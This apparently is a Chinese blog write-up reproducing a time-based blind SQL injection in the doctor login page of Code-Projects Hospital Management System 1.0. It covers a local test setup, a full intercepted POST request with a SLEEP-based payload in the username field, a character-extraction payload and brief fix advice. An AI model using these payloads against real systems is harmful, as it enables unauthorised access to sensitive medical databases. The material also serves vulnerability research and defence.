参考文献:
code-projects 使用 PHP 的医院管理系统,源代码 v1.0 /hms/doctor/index.php SQL 注入 ·问题 #1 ·青銮机器人/CVE ·GitHub的
免责声明
本文仅用于安全研究和学习目的。请勿将文中提供的漏洞复现方法、脚本或其他信息用于未经授权的系统、网络或服务攻击。任何个人或组织在使用这些信息时,应遵循所在国家或地区的法律法规,未经授权的渗透测试和入侵行为是违法的。本文作者和发布平台不对因不当使用本文内容而导致的任何损失、损害或法律后果承担责任。
通过继续阅读本文,表示您已理解并接受上述免责声明。如您不同意这些条款,请不要继续进行漏洞复现或相关操作。
目录
1、漏洞原理
Code-Projects Hospital Management System是Code-Projects开源的一个医院管理系统。
漏洞分析
Code-Projects Hospital Management System 1.0 版本中存在SQL注入,该漏洞源于/hms/doctor/index.php接收username参数值时,对传入数据没有经过任何验证和转义直接插入到SQL查询中,从而导致SQL注入。
影响范围
Code-Projects Hospital Management System 1.0 版本
2、漏洞复现
环境准备
phpstudy
Code-Projects Hospital Management System 1.0源码:download.code-projects.org/details/e13ce994-d280-4a64-90fb-f08663479bb4
环境搭建
(1)创建hms.sql数据库
phpstudy开启apache和mysql服务后,将解压后的源码hospital文件夹放到网站的根目录下
人家要求创建一个名为hms.sql的数据库,不懂为什么数据库名字要加个后缀。。。。
phpstudy-数据库-创建数据库,创建一个名为hms.sql的数据库
(2)导入sql文件
phpstudy-软件管理 找到数据库管理工具phpmyadmin(此时我的php版本为php7.3.4nts)
通过刚才创建数据库时设置的口令登录phpmyadmin后,点击hms.sql-导入-浏览,将\www\hospital\sqlfile\hms.sql文件导入hms.sql数据库后执行
(3)连接数据库
修改\www\hospital\hms\doctor\include\config.php配置文件,连接数据库
(4)切换php版本
在上述config.php文件中调用了mysql_connect()函数,但是该函数在php7.0及以上版本已被移除,需要切换php版本
在phpstudy-网站-管理-php版本处选择php5.3.29nts版本(没有低版本的去 phpstudy-软件管理 安装)
复现环境已经搭建完成
漏洞利用
在浏览器中访问 http://127.0.0.1/hospital/hms/doctor/index.php (具体路径取决于网站搭建根目录下的文件),打开代理,随便输入用户名和密码后点击Login,使用burpsuit进行拦截之后发送到重放器修改请求
在漏洞分析中已经发现在username参数处存在使用单引号闭合的字符型SQL注入,但是发现对于错误的用户名和口令都会直接重定向到登录页面,没有任何回显信息,猜测存在时间盲注
修改前:
对于错误的用户名和口令会重定向到登录页面,耗时非常短,就33毫秒
修改后重发:
POST /hospital/hms/doctor/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/hospital/hms/doctor/index.php
Cookie: ajs_anonymous_id=e144bb8a-760d-44a2-9e3d-c861226861de; PHPSESSID=vuiqed64elkoqsahibpg6ulnpo
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
username=avfsdf' AND (SELECT CASE WHEN (LENGTH(DATABASE()) = 7) THEN SLEEP(15) ELSE 0 END) -- &password=adfhgfh&submit=&submit=
SELECT CASE WHEN (LENGTH(DATABASE()) = 7) THEN SLEEP(15) ELSE 0 END
如果当前数据库名称的长度等于7,数据库延迟15秒响应
成功发送效果:
已知我们当时创建的数据库名称为hms.sql——7个字符,触发条件,右下角页面响应时间确实和正常的响应时间相比延迟了15秒
稍微修改条件后重发效果:
数据库名称长度为7个字符,不满足条件,正常响应
漏洞复现成功,后续可以继续通过ascii()函数确定数据库名称。。。。
username=avfsdf' AND (SELECT CASE WHEN (ASCII(SUBSTR((SELECT DATABASE()),1,1))=104) THEN SLEEP(15) ELSE 0 END) -- &password=adfhgfh&submit=&submit=
3、漏洞修复建议
对所有用户输入进行严格的验证和过滤,防止特殊字符等被直接用于SQL查询
将数据库查询逻辑封装在存储过程中,减少应用直接与数据库交互的机会
关注相关安全公告,及时打补丁
标签:Code,8368,Hospital,SQL,hms,漏洞,sql,php,数据库 From: https://blog.csdn.net/weixin_51243345/article/details/142857918